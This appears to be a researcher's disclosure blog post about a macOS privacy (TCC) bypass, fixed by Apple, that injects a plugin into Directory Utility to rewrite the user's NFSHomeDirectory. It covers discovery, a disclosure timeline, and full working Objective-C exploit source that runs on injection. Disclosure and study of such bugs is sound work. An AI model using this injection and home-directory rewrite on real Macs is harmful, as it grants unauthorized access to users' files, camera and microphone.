Introduction

This is the second TCC vulnerability that has been disclosed on my & Csaba’s talk “20+ ways to bypass your macOS privacy mechanisms” during Black Hat USA. This time by changing the NFSHomeDirectory variable I was able to bypass user TCC restrictions.

Do you remember the CVE-2020–9934: Bypassing the macOS Transparency, Consent, and Control (TCC) Framework for unauthorized access to sensitive user data article describing a vulnerability found by Matt Shockley? Well, that article inspired me to weaponize a small (as I thought at the beginning of this journey) bug I discovered.

How I found this vulnerability

According to the last blog post, in the summer of 2020, I was looking for code injection opportunities that may allow reaching TCC bypasses. My simple shell script discovered a potential victim - /System/Library/CoreServices/Applications/Directory Utility.app. It had (and has) the following private TCC entitlement:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>com.apple.private.tcc.allow</key>
    <array>
        <string>kTCCServiceSystemPolicySysAdminFiles</string>
    </array>
</dict>
</plist>

This entitlement allows the Directory Utility to modify the user’s records stored in the /var/db/dslocal/nodes directory. These records are normally accessible via Open Directory framework.

Let’s now talk a bit about the injection. That application loads plugins stored as Mach-O bundles with .daplug extension.

img

It creates the injection opportunity, but I had to verify also that if the application didn’t have the hardened runtime or/and library validation flags:

$ codesign -d -vv "/System/Library/CoreServices/Applications/Directory Utility.app"
Executable=/System/Library/CoreServices/Applications/Directory Utility.app
Identifier=com.apple.DirectoryUtility
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20100 size=1451 flags=0x0(none) hashes=38+5 location=embedded
Platform identifier=10
Signature size=4547
Authority=Software Signing
Authority=Apple Code Signing Certification Authority
Authority=Apple Root CA
Info.plist entries=27
TeamIdentifier=not set
Sealed Resources version=2 rules=13 files=284
Internal requirements count=1 size=76

As you can see the flags are set to 0x0(none), so we will be able to perform the injection and posses the com.apple.private.tcc.allow:kTCCServiceSystemPolicySysAdminFiles private entitlement. I quickly coded an exploit and sent the report to Apple. At that time I didn’t know that this entitlement is much more dangerous.

Weaponization

After some time I stumbled across the above-mentioned Matt Shockley’s article on how he was able to bypass TCC only by changing the $HOME directory via launchctl. I was really curious about how Apple fixed that vulnerability so I started reversing the TCC. Turns out that now TCC takes the information about the user’s home directory from the getpwuid function.

img

That function gets the user’s information from:

$ man getpwuid
[...]
DESCRIPTION
     These functions obtain information from opendirectoryd(8), including records in /etc/master.passwd which is described in master.passwd(5).  Each entry in the database is defined by the struc-
     ture passwd found in the include file <pwd.h>:
[...]

opendirectoryd! Nice, we have control over these entries, so let’s code the exploit. One of the entries indeed stores the user’s home directory information:

img

You will find the actual exploit code at the end of this blog post. I sent all the additional information to Apple - that the vulnerability is actually more harmful than I thought in the beginning. As I could have planted my own user TCC database, it allowed me to bypass the whole user TCC. It means that this vulnerability gave access to Desktop, Documents, Address Book, Camera, Microphone, Photos and more.

I was really shocked that Apple decided that this vulnerability is not eligible for the bounty. I hope that the adjudication was a mistake caused by the initial report I sent (that didn’t fully show the actual impact). I asked Apple for re-adjudication, so I will happily update this post with the results.

Update 5th Nov 2021

I’m really happy to update this blog post as Apple decided to award the bounty for this vulnerability. 🎉

Proof of concept

Timeline

DateAction
3rd June 2020Report sent to Apple
5th June 2020Apple validated the report
20th July 2020I asked for status update
29th July 2020Apple responds that they are still investigating
29th July 2020I sent the additional details with the fully weaponized exploit
30th July 2020Apple responds that they are still investigating
22nd August 2020I asked for status update
25th August 2020Apple responds that this vulnerability will be fixed in the upcoming update
12th November 2020Apple fixes this vulnerability in the macOS Big Sur 11.0.1 without CVE
12th November 2020I asked why this vulnerability didn’t have the CVE assigned
1st December 2020Apple decides to assign the CVE
13th May 2021Apple adjudicates this issue as not eligible for the Apple Security Bounty 😮
13th May 2021I asked for the re-adjudication
9th September 2021I’m still waiting for the re-adjudication
3rd November 2021Apple re-adjudicates the issue and the bounty has been awarded 🎉

Exploit code

#import <Foundation/Foundation.h>
#import <OpenDirectory/OpenDirectory.h>

#define NEW_HOME_DIRECTORY @"/tmp/tccbypass"
#define USER_UID @"501"

ODRecord* getUsersRecord() {
    
    NSError *err = nil;
    ODSession *session = [ODSession defaultSession];
    ODNode *node = [ODNode nodeWithSession:session type:kODNodeTypeLocalNodes error:&err];
    
    if(err != nil) {
        NSLog(@"%@", [err localizedDescription]);
        exit(0);
    }
    
    ODQuery *getNFSHomeDirectory = [ODQuery queryWithNode:node
                                           forRecordTypes:kODRecordTypeUsers
                                                attribute:kODAttributeTypeUniqueID
                                                matchType:kODMatchEqualTo
                                              queryValues:USER_UID
                                         returnAttributes:kODAttributeTypeStandardOnly
                                           maximumResults:1
                                                    error:&err];
    if(err != nil) {
        NSLog(@"%@", [err localizedDescription]);
        exit(0);
    }
    
    NSArray *foundRecords = [getNFSHomeDirectory resultsAllowingPartial:NO error:&err];
    return foundRecords.firstObject;
}

NSString* getUsersNFSHomeDirectory(ODRecord *userRecord) {
    NSError *err = nil;
    NSString *nfsHomeDirectory = [userRecord valuesForAttribute:kODAttributeTypeNFSHomeDirectory error:&err].firstObject;
    if(err != nil) {
        NSLog(@"%@", [err localizedDescription]);
        exit(0);
    }
    return nfsHomeDirectory;
}

BOOL changeUsersNFSHomeDirectory(ODRecord *userRecord) {
    NSError *err = nil;
    BOOL result = [userRecord setValue:NEW_HOME_DIRECTORY forAttribute:kODAttributeTypeNFSHomeDirectory error:&err];
    if(err != nil) {
        NSLog(@"%@", [err localizedDescription]);
        exit(0);
    }
    return result;
}

__attribute__((constructor)) static void pwn() {
    
    NSLog(@"Injected...");
    
    ODRecord *userRecord = getUsersRecord();
    NSString *homeDirectory = [userRecord recordName];
    NSLog(@"Got OD node of user: %@", homeDirectory);
    
    NSString *nfsHomeDirectory = getUsersNFSHomeDirectory(userRecord);
    NSLog(@"User's NFSHomeDirectory: %@", nfsHomeDirectory);
    
    BOOL result = changeUsersNFSHomeDirectory(userRecord);
    
    if(result == YES) {
        NSLog(@"Successfully changed user's NFSHomeDirectory");
    } else {
        NSLog(@"Exploit was unable to change user's NFSHomeDirectory");
    }
    
    nfsHomeDirectory = getUsersNFSHomeDirectory(userRecord);
    NSLog(@"User's NFSHomeDirectory: %@", nfsHomeDirectory);
    
    exit(0);
    
}